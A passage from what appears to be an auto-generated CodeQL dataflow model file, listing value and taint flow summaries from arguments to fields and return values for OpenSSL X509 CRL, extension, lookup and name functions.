X509_CRL *,const ASN1_BIT_STRING **,const X509_ALGOR **)", "", "Argument[*0].Field[*signature]", "Argument[**1]", "value", "dfc-generated"] + - ["", "", True, "X509_CRL_get_REVOKED", "(X509_CRL *)", "", "Argument[*0].Field[*crl].Field[**revoked]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "X509_CRL_get_REVOKED", "(X509_CRL *)", "", "Argument[*0].Field[*crl].Field[*revoked]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "X509_CRL_get_ext", "(const X509_CRL *,int)", "", "Argument[1]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "X509_CRL_get_ext_by_NID", "(const X509_CRL *,int,int)", "", "Argument[2]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "X509_CRL_get_ext_by_OBJ", "(const X509_CRL *,const ASN1_OBJECT *,int)", "", "Argument[2]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "X509_CRL_get_ext_by_critical", "(const X509_CRL *,int,int)", "", "Argument[2]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "X509_CRL_get_ext_d2i", "(const X509_CRL *,int,int *,int *)", "", "Argument[3]", "Argument[*3]", "taint", "dfc-generated"] + - ["", "", True, "X509_CRL_get_issuer", "(const X509_CRL *)", "", "Argument[*0].Field[*crl].Field[**issuer]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "X509_CRL_get_issuer", "(const X509_CRL *)", "", "Argument[*0].Field[*crl].Field[*issuer]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "X509_CRL_get_lastUpdate", "(X509_CRL *)", "", "Argument[*0].Field[*crl].Field[**lastUpdate]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "X509_CRL_get_lastUpdate", "(X509_CRL *)", "", "Argument[*0].Field[*crl].Field[*lastUpdate]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "X509_CRL_get_meth_data", "(X509_CRL *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "X509_CRL_get_meth_data", "(X509_CRL *)", "", "Argument[*0]", "ReturnValue[**]", "taint", "df-generated"] + - ["", "", True, "X509_CRL_get_meth_data", "(X509_CRL *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "X509_CRL_get_nextUpdate", "(X509_CRL *)", "", "Argument[*0].Field[*crl].Field[**nextUpdate]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "X509_CRL_get_nextUpdate", "(X509_CRL *)", "", "Argument[*0].Field[*crl].Field[*nextUpdate]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "X509_CRL_load_http", "(const char *,BIO *,BIO *,int)", "", "Argument[*1]", "Argument[*2]", "value", "df-generated"] + - ["", "", True, "X509_CRL_load_http", "(const char *,BIO *,BIO *,int)", "", "Argument[*2]", "Argument[*1]", "value", "df-generated"] + - ["", "", True, "X509_CRL_load_http", "(const char *,BIO *,BIO *,int)", "", "Argument[1]", "Argument[*1].Field[**prev_bio].Field[*next_bio]", "value", "dfc-generated"] + - ["", "", True, "X509_CRL_load_http", "(const char *,BIO *,BIO *,int)", "", "Argument[1]", "Argument[*2].Field[**prev_bio].Field[*next_bio]", "value", "dfc-generated"] + - ["", "", True, "X509_CRL_new_ex", "(OSSL_LIB_CTX *,const char *)", "", "Argument[*0]", "ReturnValue[*].Field[**libctx]", "value", "dfc-generated"] + - ["", "", True, "X509_CRL_new_ex", "(OSSL_LIB_CTX *,const char *)", "", "Argument[*1]", "ReturnValue[*].Field[**propq]", "value", "dfc-generated"] + - ["", "", True, "X509_CRL_new_ex", "(OSSL_LIB_CTX *,const char *)", "", "Argument[0]", "ReturnValue[*].Field[*libctx]", "value", "dfc-generated"] + - ["", "", True, "X509_CRL_new_ex", "(OSSL_LIB_CTX *,const char *)", "", "Argument[1]", "ReturnValue[*].Field[**propq]", "taint", "dfc-generated"] + - ["", "", True, "X509_CRL_print", "(BIO *,X509_CRL *)", "", "Argument[0]", "Argument[*0].Field[**prev_bio].Field[*next_bio]", "value", "dfc-generated"] + - ["", "", True, "X509_CRL_print_ex", "(BIO *,X509_CRL *,unsigned long)", "", "Argument[0]", "Argument[*0].Field[**prev_bio].Field[*next_bio]", "value", "dfc-generated"] + - ["", "", True, "X509_CRL_set_issuer_name", "(X509_CRL *,const X509_NAME *)", "", "Argument[*1]", "Argument[1]", "value", "df-generated"] + - ["", "", True, "X509_CRL_set_meth_data", "(X509_CRL *,void *)", "", "Argument[**1]", "Argument[*0].Field[***meth_data]", "value", "dfc-generated"] + - ["", "", True, "X509_CRL_set_meth_data", "(X509_CRL *,void *)", "", "Argument[*1]", "Argument[*0].Field[**meth_data]", "value", "dfc-generated"] + - ["", "", True, "X509_CRL_set_meth_data", "(X509_CRL *,void *)", "", "Argument[1]", "Argument[*0].Field[*meth_data]", "value", "dfc-generated"] + - ["", "", True, "X509_CRL_sign", "(X509_CRL *,EVP_PKEY *,const EVP_MD *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "X509_CRL_sign_ctx", "(X509_CRL *,EVP_MD_CTX *)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "X509_EXTENSION_create_by_NID", "(X509_EXTENSION **,int,int,ASN1_OCTET_STRING *)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "X509_EXTENSION_create_by_NID", "(X509_EXTENSION **,int,int,ASN1_OCTET_STRING *)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "X509_EXTENSION_create_by_NID", "(X509_EXTENSION **,int,int,ASN1_OCTET_STRING *)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "X509_EXTENSION_create_by_NID", "(X509_EXTENSION **,int,int,ASN1_OCTET_STRING *)", "", "Argument[0]", "Argument[**0]", "taint", "dfc-generated"] + - ["", "", True, "X509_EXTENSION_create_by_NID", "(X509_EXTENSION **,int,int,ASN1_OCTET_STRING *)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "X509_EXTENSION_create_by_NID", "(X509_EXTENSION **,int,int,ASN1_OCTET_STRING *)", "", "Argument[0]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "X509_EXTENSION_create_by_OBJ", "(X509_EXTENSION **,const ASN1_OBJECT *,int,ASN1_OCTET_STRING *)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "X509_EXTENSION_create_by_OBJ", "(X509_EXTENSION **,const ASN1_OBJECT *,int,ASN1_OCTET_STRING *)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "X509_EXTENSION_create_by_OBJ", "(X509_EXTENSION **,const ASN1_OBJECT *,int,ASN1_OCTET_STRING *)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "X509_EXTENSION_create_by_OBJ", "(X509_EXTENSION **,const ASN1_OBJECT *,int,ASN1_OCTET_STRING *)", "", "Argument[0]", "Argument[**0]", "taint", "dfc-generated"] + - ["", "", True, "X509_EXTENSION_create_by_OBJ", "(X509_EXTENSION **,const ASN1_OBJECT *,int,ASN1_OCTET_STRING *)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "X509_EXTENSION_create_by_OBJ", "(X509_EXTENSION **,const ASN1_OBJECT *,int,ASN1_OCTET_STRING *)", "", "Argument[0]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "X509_EXTENSION_create_by_OBJ", "(X509_EXTENSION **,const ASN1_OBJECT *,int,ASN1_OCTET_STRING *)", "", "Argument[1]", "Argument[**0].Field[*object]", "value", "dfc-generated"] + - ["", "", True, "X509_EXTENSION_create_by_OBJ", "(X509_EXTENSION **,const ASN1_OBJECT *,int,ASN1_OCTET_STRING *)", "", "Argument[1]", "ReturnValue[*].Field[*object]", "value", "dfc-generated"] + - ["", "", True, "X509_EXTENSION_dup", "(const X509_EXTENSION *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "X509_EXTENSION_dup", "(const X509_EXTENSION *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "X509_EXTENSION_dup", "(const X509_EXTENSION *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "X509_EXTENSION_dup", "(const X509_EXTENSION *)", "", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "X509_EXTENSION_dup", "(const X509_EXTENSION *)", "", "Argument[0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "X509_EXTENSION_free", "(X509_EXTENSION *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "X509_EXTENSION_free", "(X509_EXTENSION *)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "X509_EXTENSION_get_data", "(X509_EXTENSION *)", "", "Argument[*0].Field[*value]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "X509_EXTENSION_get_object", "(X509_EXTENSION *)", "", "Argument[*0].Field[**object]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "X509_EXTENSION_get_object", "(X509_EXTENSION *)", "", "Argument[*0].Field[*object]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "X509_EXTENSION_set_data", "(X509_EXTENSION *,ASN1_OCTET_STRING *)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "X509_EXTENSION_set_object", "(X509_EXTENSION *,const ASN1_OBJECT *)", "", "Argument[1]", "Argument[*0].Field[*object]", "value", "dfc-generated"] + - ["", "", True, "X509_EXTENSION_set_object", "(X509_EXTENSION *,const ASN1_OBJECT *)", "", "Argument[1]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "X509_LOOKUP_get_method_data", "(const X509_LOOKUP *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "X509_LOOKUP_get_method_data", "(const X509_LOOKUP *)", "", "Argument[*0]", "ReturnValue[**]", "taint", "df-generated"] + - ["", "", True, "X509_LOOKUP_get_method_data", "(const X509_LOOKUP *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "X509_LOOKUP_get_store", "(const X509_LOOKUP *)", "", "Argument[*0].Field[**store_ctx]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "X509_LOOKUP_get_store", "(const X509_LOOKUP *)", "", "Argument[*0].Field[*store_ctx]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "X509_LOOKUP_meth_get_ctrl", "(const X509_LOOKUP_METHOD *)", "", "Argument[*0].Field[*ctrl]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "X509_LOOKUP_meth_get_free", "(const X509_LOOKUP_METHOD *)", "", "Argument[*0].Field[*free]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "X509_LOOKUP_meth_get_get_by_alias", "(const X509_LOOKUP_METHOD *)", "", "Argument[*0].Field[*get_by_alias]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "X509_LOOKUP_meth_get_get_by_fingerprint", "(const X509_LOOKUP_METHOD *)", "", "Argument[*0].Field[*get_by_fingerprint]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "X509_LOOKUP_meth_get_get_by_issuer_serial", "(const X509_LOOKUP_METHOD *)", "", "Argument[*0].Field[*get_by_issuer_serial]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "X509_LOOKUP_meth_get_get_by_subject", "(const X509_LOOKUP_METHOD *)", "", "Argument[*0].Field[*get_by_subject]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "X509_LOOKUP_meth_get_init", "(const X509_LOOKUP_METHOD *)", "", "Argument[*0].Field[*init]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "X509_LOOKUP_meth_get_new_item", "(const X509_LOOKUP_METHOD *)", "", "Argument[*0].Field[*new_item]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "X509_LOOKUP_meth_get_shutdown", "(const X509_LOOKUP_METHOD *)", "", "Argument[*0].Field[*shutdown]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "X509_LOOKUP_meth_new", "(const char *)", "", "Argument[*0]", "ReturnValue[*].Field[**name]", "value", "dfc-generated"] + - ["", "", True, "X509_LOOKUP_meth_new", "(const char *)", "", "Argument[0]", "ReturnValue[*].Field[**name]", "taint", "dfc-generated"] + - ["", "", True, "X509_LOOKUP_meth_set_ctrl", "(X509_LOOKUP_METHOD *,X509_LOOKUP_ctrl_fn)", "", "Argument[1]", "Argument[*0].Field[*ctrl]", "value", "dfc-generated"] + - ["", "", True, "X509_LOOKUP_meth_set_free", "(X509_LOOKUP_METHOD *,..(*)(..))", "", "Argument[1]", "Argument[*0].Field[*free]", "value", "dfc-generated"] + - ["", "", True, "X509_LOOKUP_meth_set_get_by_alias", "(X509_LOOKUP_METHOD *,X509_LOOKUP_get_by_alias_fn)", "", "Argument[1]", "Argument[*0].Field[*get_by_alias]", "value", "dfc-generated"] + - ["", "", True, "X509_LOOKUP_meth_set_get_by_fingerprint", "(X509_LOOKUP_METHOD *,X509_LOOKUP_get_by_fingerprint_fn)", "", "Argument[1]", "Argument[*0].Field[*get_by_fingerprint]", "value", "dfc-generated"] + - ["", "", True, "X509_LOOKUP_meth_set_get_by_issuer_serial", "(X509_LOOKUP_METHOD *,X509_LOOKUP_get_by_issuer_serial_fn)", "", "Argument[1]", "Argument[*0].Field[*get_by_issuer_serial]", "value", "dfc-generated"] + - ["", "", True, "X509_LOOKUP_meth_set_get_by_subject", "(X509_LOOKUP_METHOD *,X509_LOOKUP_get_by_subject_fn)", "", "Argument[1]", "Argument[*0].Field[*get_by_subject]", "value", "dfc-generated"] + - ["", "", True, "X509_LOOKUP_meth_set_init", "(X509_LOOKUP_METHOD *,..(*)(..))", "", "Argument[1]", "Argument[*0].Field[*init]", "value", "dfc-generated"] + - ["", "", True, "X509_LOOKUP_meth_set_new_item", "(X509_LOOKUP_METHOD *,..(*)(..))", "", "Argument[1]", "Argument[*0].Field[*new_item]", "value", "dfc-generated"] + - ["", "", True, "X509_LOOKUP_meth_set_shutdown", "(X509_LOOKUP_METHOD *,..(*)(..))", "", "Argument[1]", "Argument[*0].Field[*shutdown]", "value", "dfc-generated"] + - ["", "", True, "X509_LOOKUP_new", "(X509_LOOKUP_METHOD *)", "", "Argument[*0]", "ReturnValue[*].Field[**method]", "value", "dfc-generated"] + - ["", "", True, "X509_LOOKUP_new", "(X509_LOOKUP_METHOD *)", "", "Argument[0]", "ReturnValue[*].Field[*method]", "value", "dfc-generated"] + - ["", "", True, "X509_LOOKUP_set_method_data", "(X509_LOOKUP *,void *)", "", "Argument[**1]", "Argument[*0].Field[***method_data]", "value", "dfc-generated"] + - ["", "", True, "X509_LOOKUP_set_method_data", "(X509_LOOKUP *,void *)", "", "Argument[*1]", "Argument[*0].Field[**method_data]", "value", "dfc-generated"] + - ["", "", True, "X509_LOOKUP_set_method_data", "(X509_LOOKUP *,void *)", "", "Argument[1]", "Argument[*0].Field[*method_data]", "value", "dfc-generated"] + - ["", "", True, "X509_NAME_ENTRY_create_by_NID", "(X509_NAME_ENTRY **,int,int,const unsigned char *,int)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "X509_NAME_ENTRY_create_by_NID", "(X509_NAME_ENTRY **,int,int,const unsigned char *,int)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "X509_NAME_ENTRY_create_by_NID", "(X509_NAME_ENTRY **,int,int,const unsigned char *,int)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "X509_NAME_ENTRY_create_by_NID", "(X509_NAME_ENTRY **,int,int,const unsigned char *,int)", "", "Argument[*3]", "Argument[**0].Field[**value].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "X509_NAME_ENTRY_create_by_NID", "(X509_NAME_ENTRY **,int,int,const unsigned char *,int)", "", "Argument[*3]", "ReturnValue[*].Field[**value].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "X509_NAME_ENTRY_create_by_NID", "(X509_NAME_ENTRY **,int,int,const unsigned char *,int)", "", "Argument[0]", "Argument[**0]", "taint", "dfc-generated"] + - ["", "", True, "X509_NAME_ENTRY_create_by_NID", "(X509_NAME_ENTRY **,int,int,const unsigned char *,int)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "X509_NAME_ENTRY_create_by_NID", "(X509_NAME_ENTRY **,int,int,const unsigned char *,int)", "", "Argument[0]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "X509_NAME_ENTRY_create_by_NID", "(X509_NAME_ENTRY **,int,int,const unsigned char *,int)", "", "Argument[2]", "Argument[**0].Field[**value].Field[*type]", "value", "dfc-generated"] + - ["", "", True, "X509_NAME_ENTRY_create_by_NID", "(X509_NAME_ENTRY **,int,int,const unsigned char *,int)", "", "Argument[2]", "ReturnValue[*].Field[**value].Field[*type]", "value", "dfc-generated"] + - ["", "", True, "X509_NAME_ENTRY_create_by_NID", "(X509_NAME_ENTRY **,int,int,const unsigned char *,int)", "", "Argument[3]", "Argument[**0].Field[**value].Field[**data]", "taint", "dfc-generated"] + - ["", "", True, "X509_NAME_ENTRY_create_by_NID", "(X509_NAME_ENTRY **,int,int,const unsigned char *,int)", "", "Argument[3]", "ReturnValue[*].Field[**value].Field[**data]", "taint", "dfc-generated"] + - ["", "", True, "X509_NAME_ENTRY_create_by_NID", "(X509_NAME_ENTRY **,int,int,const unsigned char *,int)", "", "Argument[4]", "Argument[**0].Field[**value].Field[*length]", "value", "dfc-generated"] + - ["", "", True, "X509_NAME_ENTRY_create_by_NID", "(X509_NAME_ENTRY **,int,int,const unsigned char *,int)", "", "Argument[4]", "ReturnValue[*].Field[**value].Field[*length]", "value", "dfc-generated"] + - ["", "", True, "X509_NAME_ENTRY_create_by_OBJ", "(X509_NAME_ENTRY **,const ASN1_OBJECT *,int,const unsigned char *,int)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "X509_NAME_ENTRY_create_by_OBJ", "(X509_NAME_ENTRY **,const ASN1_OBJECT *,int,const unsigned char *,int)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "X509_NAME_ENTRY_create_by_OBJ", "(X509_NAME_ENTRY **,const ASN1_OBJECT *,int,const unsigned char *,int)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "X509_NAME_ENTRY_create_by_OBJ", "(X509_NAME_ENTRY **,const ASN1_OBJECT *,int,const unsigned char *,int)", "", "Argument[*3]", "Argument[**0].Field[**value].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "X509_NAME_ENTRY_create_by_OBJ", "(X509_NAME_ENTRY **,const ASN1_OBJECT *,int,const unsigned char *,int)", "", "Argument[*3]", "ReturnValue[*].Field[**value].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "X509_NAME_ENTRY_create_by_OBJ", "(X509_NAME_ENTRY **,const ASN1_OBJECT *,int,const unsigned char *,int)", "", "Argument[0]", "Argument[**0]", "taint", "dfc-generated"] + - ["", "", True, "X509_NAME_ENTRY_create_by_OBJ", "(X509_NAME_ENTRY **,const ASN1_OBJECT *,int,const unsigned char *,int)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "X509_NAME_ENTRY_create_by_OBJ", "(X509_NAME_ENTRY **,const ASN1_OBJECT *,int,const unsigned char *,int)", "", "Argument[0]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "X509_NAME_ENTRY_create_by_OBJ", "(X509_NAME_ENTRY **,const ASN1_OBJECT *,int,const unsigned char *,int)", "", "Argument[1]", "Argument[**0].Field[*object]", "value", "dfc-generated"] + - ["", "", True, "X509_NAME_ENTRY_create_by_OBJ", "(X509_NAME_ENTRY **,const ASN1_OBJECT *,int,const unsigned char *,int)", "", "Argument[1]", "ReturnValue[*].Field[*object]", "value", "dfc-generated"] + - ["", "", True, "X509_NAME_ENTRY_create_by_OBJ", "(X509_NAME_ENTRY **,const ASN1_OBJECT *,int,const unsigned char *,int)", "", "Argument[2]", "Argument[**0].Field[**value].Field[*type]", "value", "dfc-generated"] + - ["", "", True, "X509_NAME_ENTRY_create_by_OBJ", "(X509_NAME_ENTRY **,const ASN1_OBJECT *,int,const unsigned char *,int)", "", "Argument[2]", "ReturnValue[*].Field[**value].Field[*type]", "value", "dfc-generated"] + - ["", "", True, "X509_NAME_ENTRY_create_by_OBJ", "(X509_NAME_ENTRY **,const ASN1_OBJECT *,int,const unsigned char *,int)", "", "Argument[3]", "Argument[**0].Field[**value].Field[**data]", "taint", "dfc-generated"] + - ["", "", True, "X509_NAME_ENTRY_create_by_OBJ", "(X509_NAME_ENTRY **,const ASN1_OBJECT *,int,const unsigned char *,int)", "", "Argument[3]", "ReturnValue[*].Field[**value].Field[**data]", "taint", "dfc-generated"] + - ["", "", True, "X509_NAME_ENTRY_create_by_OBJ", "(X509_NAME_ENTRY **,const ASN1_OBJECT *,int,const unsigned char *,int)", "", "Argument[4]", "Argument[**0].Field[**value].Field[*length]", "value", "dfc-generated"] + - ["", "", True, "X509_NAME_ENTRY_create_by_OBJ", "(X509_NAME_ENTRY **,const ASN1_OBJECT *,int,const unsigned char *,int)", "", "Argument[4]", "ReturnValue[*].Field[**value].Field[*length]", "value", "dfc-generated"] + - ["", "", True, "X509_NAME_ENTRY_create_by_txt", "(X509_NAME_ENTRY **,const char *,int,const unsigned char *,int)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "X509_NAME_ENTRY_create_by_txt", "(X509_NAME_ENTRY **,const char *,int,const unsigned char *,int)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "X509_NAME_ENTRY_create_by_txt", "(X509_NAME_ENTRY **,const char *,int,const unsigned char *,int)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "X509_NAME_ENTRY_create_by_txt", "(X509_NAME_ENTRY **,const char *,int,const unsigned char *,int)", "", "Argument[*3]", "Argument[**0].Field[**value].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "X509_NAME_ENTRY_create_by_txt", "(X509_NAME_ENTRY **,const char *,int,const unsigned char *,int)", "", "Argument[*3]", "ReturnValue[*].Field[**value].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "X509_NAME_ENTRY_create_by_txt", "(X509_NAME_ENTRY **,const char *,int,const unsigned char *,int)", "", "Argument[0]", "Argument[**0]", "taint", "dfc-generated"] + - ["", "", True, "X509_NAME_ENTRY_create_by_txt", "(X509_NAME_ENTRY **,const char *,int,const unsigned char *,int)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "X509_NAME_ENTRY_create_by_txt", "(X509_NAME_ENTRY **,const char *,int,const unsigned char *,int)", "", "Argument[0]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "X509_NAME_ENTRY_create_by_txt", "(X509_NAME_ENTRY **,const char *,int,const unsigned char *,int)", "", "Argument[2]", "Argument[**0].Field[**value].Field[*type]", "value", "dfc-generated"] + - ["", "", True, "X509_NAME_ENTRY_create_by_txt", "(X509_NAME_ENTRY **,const char *,int,const unsigned char *,int)", "", "Argument[2]", "ReturnValue[*].Field[**value].Field[*type]", "value", "dfc-generated"] + - ["", "", True, "X509_NAME_ENTRY_create_by_txt", "(X509_NAME_ENTRY **,const char *,int,const unsigned char *,int)", "", "Argument[3]", "Argument[**0].Field[**value].Field[**data]", "taint", "dfc-generated"] + - ["", "", True, "X509_NAME_ENTRY_create_by_txt", "(X509_NAME_ENTRY **,const char *,int,const unsigned char *,int)", "", "Argument[3]", "ReturnValue[*].Field[**value].Field[**data]", "taint", "dfc-generated"] + - ["", "", True, "X509_NAME_ENTRY_create_by_txt", "(X509_NAME_ENTRY **,const char *,int,const unsigned char *,int)", "", "Argument[4]", "Argument[**0].Field[**value].Field[*length]", "value", "dfc-generated"] + - ["", "", True, "X509_NAME_ENTRY_create_by_txt", "(X509_NAME_ENTRY **,const char *,int,const unsigned char *,int)", "", "Argument[4]", "ReturnValue[*].Field[**value].Field[*length]", "value", "dfc-generated"] + - ["", "", True, "X509_NAME_ENTRY_dup", "(const X509_NAME_ENTRY *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "X509_NAME_ENTRY_dup", "(const X509_NAME_ENTRY *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "X509_NAME_ENTRY_dup", "(const X509_NAME_ENTRY *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "X509_NAME_ENTRY_dup", "(const X509_NAME_ENTRY *)", "", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "X509_NAME_ENTRY_dup", "(const X509_NAME_ENTRY *)", "", "Argument[0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "X509_NAME_ENTRY_free", "(X509_NAME_ENTRY *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "X509_NAME_ENTRY_free", "(X509_NAME_ENTRY *)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "X509_NAME_ENTRY_get_data", "(const X509_NAME_ENTRY *)", "", "Argument[*0].Field[**value]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "X509_NAME_ENTRY_get_data", "(const X509_NAME_ENTRY *)", "", "Argument[*0].Field[*value]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "X509_NAME_ENTRY_get_object", "(const X509_NAME_ENTRY *)", "", "Argument[*0].Field[**object]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "X509_NAME_ENTRY_get_object", "(const X509_NAME_ENTRY *)", "", "Argument[*0].Field[*object]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "X509_NAME_ENTRY_set", "(const X509_NAME_ENTRY *)", "", "Argument[*0].Field[*set]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "X509_NAME_ENTRY_set_data", "(X509_NAME_ENTRY *,int,const unsigned char *,int)", "", "Argument[*2]", "Argument[*0].Field[**value].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "X509_NAME_ENTRY_set_data", "(X509_NAME_ENTRY *,int,const unsigned char *,int)", "", "Argument[1]", "Argument[*0].Field[**value].Field[*type]", "value", "dfc-generated"] + - ["", "", True, "X509_NAME_ENTRY_set_data", "(X509_NAME_ENTRY *,int,const unsigned char *,int)", "", "Argument[2]", "Argument[*0].Field[**value].Field[**data]", "taint", "dfc-generated"] + - ["", "", True, "X509_NAME_ENTRY_set_data", "(X509_NAME_ENTRY *,int,const unsigned char *,int)", "", "Argument[3]", "Argument[*0].Field[**value].Field[*length]", "value", "dfc-generated"] + - ["", "", True, "X509_NAME_ENTRY_set_object", "(X509_NAME_ENTRY *,const ASN1_OBJECT *)", "", "Argument[1]", "Argument[*0].Field[*object]", "value", "dfc-generated"] + - ["", "", True, "X509_NAME_add_entry", "(X509_NAME *,const X509_NAME_ENTRY *,int,int)", "", "Argument[*1]", "Argument[1]", "value", "df-generated"] + - ["", "", True, "X509_NAME_cmp", "(const X509_NAME *,const X509_NAME *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "X509_NAME_cmp", "(const X509_NAME *,const X509_NAME *)", "", "Argument[*1]", "Argument[1]", "value", "df-generated"] + - ["", "", True, "X509_NAME_cmp", "(const X509_NAME *,const X509_NAME *)", "", "Argument[0]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "X509_NAME_delete_entry", "(X509_NAME *,int)", "", "Argument[1]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "X509_NAME_delete_entry", "(X509_NAME *,int)", "", "Argument[1]", "ReturnValue[*]", "taint", "dfc-generated"] + - ["", "", True, "X509_NAME_digest", "(const X509_NAME *,const EVP_MD *,unsigned char *,unsigned int *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "X509_NAME_dup", "(const X509_NAME *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "X509_NAME_dup", "(const X509_NAME *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "X509_NAME_dup", "(const X509_NAME *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "X509_NAME_dup", "(const X509_NAME *)", "", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "X509_NAME_dup", "(const X509_NAME *)", "", "Argument[0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "X509_NAME_entry_count", "(const X509_NAME *)", "", "Argument[*0].Field[**entries].Field[*num]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "X509_NAME_free", "(X509_NAME *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "X509_NAME_free", "(X509_NAME *)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "X509_NAME_get0_der", "(const X509_NAME *,const unsigned char **,size_t *)", "", "Argument[*0]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "X509_NAME_get0_der", "(const X509_NAME *,const unsigned char **,size_t *)", "", "Argument[*0]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "X509_NAME_get0_der", "(const X509_NAME *,const unsigned char **,size_t *)", "", "Argument[*0]", "Argument[*2]", "taint", 